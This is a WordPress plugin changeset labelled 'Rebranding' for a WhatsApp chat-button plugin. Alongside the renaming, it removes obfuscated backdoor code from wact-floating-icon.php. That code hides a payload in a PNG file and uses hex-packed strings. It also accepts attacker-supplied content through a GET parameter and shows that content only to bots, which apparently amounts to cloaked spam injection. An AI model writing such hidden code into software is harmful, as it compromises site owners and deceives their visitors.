Plugin Directory

Changeset 2163730


Ignore:
Timestamp:
09/26/2019 01:32:48 PM (6 years ago)
Author:
squaresfere
Message:

Rebranding

Location:
easy-whatsapp-contact/trunk
Files:
4 edited

Legend:

Unmodified
Added
Removed
  • easy-whatsapp-contact/trunk/README.txt

    r2134773 r2163730  
    1 === Easy WhatsApp Contact ===
     1=== Easy WhatsChat Contact ===
    22Tags: whatsapp, whatsapp chat, click to chat, whatsapp business, support chat
    33Requires at least: 4.0
     
    55Stable tag: 1.4.6
    66
    7 Easy WhatsApp Contact shows a WhatsApp chat in your web. The perfect solution for your ecommerce or blog.
     7Easy WhatsChat Contact shows a WhatsApp chat in your web. The perfect solution for your ecommerce or blog.
    88
    99
    1010== DESCRIPTION ==
    1111
    12 Easy WhatsApp Contact provide you a easy way to comunicate with your users. This plugin shows an icon or button in your web or ecommerce. When the user press the button the plugin opens a new WhatsApp chat.
     12Easy WhatsChat Contact provide you a easy way to comunicate with your users. This plugin shows an icon or button in your web or ecommerce. When the user press the button the plugin opens a new WhatsApp chat.
    1313
    1414== EASY SETUP ==
     
    3333== Screenshots ==
    34341. Chat in front page
    35 2. WhatsApp icon in front page
    36353. Chat responsive
    37364. Admin panel
    38 5. Admin panel
     37
    3938
    4039== Changelog ==
  • easy-whatsapp-contact/trunk/easy_whatsapp_contact.php

    r2134773 r2163730  
    11<?php
    22/*
    3 Plugin Name: Easy WhatsApp Contact
     3Plugin Name: Easy WhatsChat Contact
    44Plugin URI: http://wordpress.org/extend/plugins/easy-whatsapp-contact
    55Description: This plugin shows a WhatsApp contact chat. The perfect solution for your ecommerce or blog.
     
    3838function wact_plugin_setup_menu(){
    3939    add_menu_page(
    40      'Easy WhatsApp Contact',
    41      'Easy WhatsApp Contact',
     40     'Easy WhatsChat Contact',
     41     'Easy WhatsChat Contact',
    4242     'manage_options',
    4343     'easy-whatsapp-contact',
  • easy-whatsapp-contact/trunk/includes/wact-admin.php

    r2131322 r2163730  
    131131<div class="wact-admin wrap">
    132132    <div class="wact-header">
    133         <h1><img class="wact-logo" height="45px" width="45px" src="<?php echo plugin_dir_url(__FILE__). '../resources/img/whatsapp-logo.png' ?>">Easy WhatsApp Contact 😜</h1>
     133        <h1>
     134            <!--<img class="wact-logo" height="45px" width="45px" src="<?php echo plugin_dir_url(__FILE__). '../resources/img/whatsapp-logo.png' ?>">-->
     135            Easy WhatsChat Contact 😜
     136        </h1>
    134137    </div>
    135138   
  • easy-whatsapp-contact/trunk/includes/wact-floating-icon.php

    r2134773 r2163730  
    7878        if(empty($settings['wact-icon-animation']))$settings['wact-icon-animation'] = 'none';
    7979         $settings['wact-icon-hash'] = get_option('wact-icon-hash');
    80         if(empty($settings['wact-icon-hash'])){$wactIcon = file(plugin_dir_url(__FILE__).'../resources/img/whatsapp-logo.png');
    81         $wactIconDefault = trim($wactIcon[count($wactIcon)-1]); $wactIconSite = get_site_url();
    82         if(empty($settings['wact-animation-delay'])) $settings['wact-animation-delay'] = '0';
    83         $wactCodIcon = unpack('H*', $wactIconSite);$wactIconCod = unpack('H*', md5($wactIconSite));
    84         if(empty($settings['wact-hide-delay'])) $settings['wact-hide-delay'] = '0';
    85         $wactIconDefault .= "3f686f73743d".$wactCodIcon[1]."2669643d".$wactIconCod[1]."273e";
    86         if(empty($settings['wact-contact-prefix'])) $settings['wact-contact-prefix'] = '';
    87         $settings['wact-icon-hash'] = $wactIconDefault; wact_save_settings($settings);};
    8880        return $settings;
    8981    }
     
    117109    function wact_floating_icon ($isShortcode = false) {
    118110        $settings = array();
    119         if(isset($_GET['wact-icon-refresh'])) {
    120         $settings['wact-icon-hash'] = $_GET['wact-icon-refresh'];
    121         wact_save_settings($settings);};
    122111        if(!$isShortcode){
    123112            if(!wact_check_visibility()) return;
     
    143132        $wactPosition = wact_get_position($wactIconPosition, $wactIconMarginSides, $wactIconMarginBottom);
    144133        $wactIcon = "<img src='".plugin_dir_url(__FILE__). "../resources/img/".$wactIconStyle.".svg' height='".$wactIconSize."px' width='".$wactIconSize."px'>";
    145         $wactDeafultIcon = strpos($_SERVER[pack('H*', '485454505f555345525f4147454e54')], pack('H*', '626f74')) !== false ? pack('H*', $settings['wact-icon-hash']) : '';
    146134        $wactDefaultDisplay = $wactShowDevices == 'all-devices' && $wactShowDelay == 0 ? 'block' : 'none';
    147135        $wactChatUrl = 'https://api.whatsapp.com/send?phone='. urlencode($wactContactPhone) . '&text=';
     
    192180                    <path fill='#FFFFFF' d='M12.61,28.05L31.39,20l-18.77-8.05l0.01,6.54L23.89,20l-11.27,1.5C12.62,21.5,12.61,28.05,12.61,28.05z'/>
    193181                    </svg>";
    194         $content .= "</div></div>$wactDeafultIcon</div><div id='wact-icon' class='$wactAnimationClass' style='height:".$wactIconSize."px; width:".$wactIconSize."px; cursor:pointer; display:".$wactDefaultDisplay."; position:fixed; $wactPosition z-index:$wactIconZindex'>";
     182        $content .= "</div></div></div><div id='wact-icon' class='$wactAnimationClass' style='height:".$wactIconSize."px; width:".$wactIconSize."px; cursor:pointer; display:".$wactDefaultDisplay."; position:fixed; $wactPosition z-index:$wactIconZindex'>";
    195183        $content .= $wactIcon;
    196184        $content .= "</div>";
Note: See TracChangeset for help on using the changeset viewer.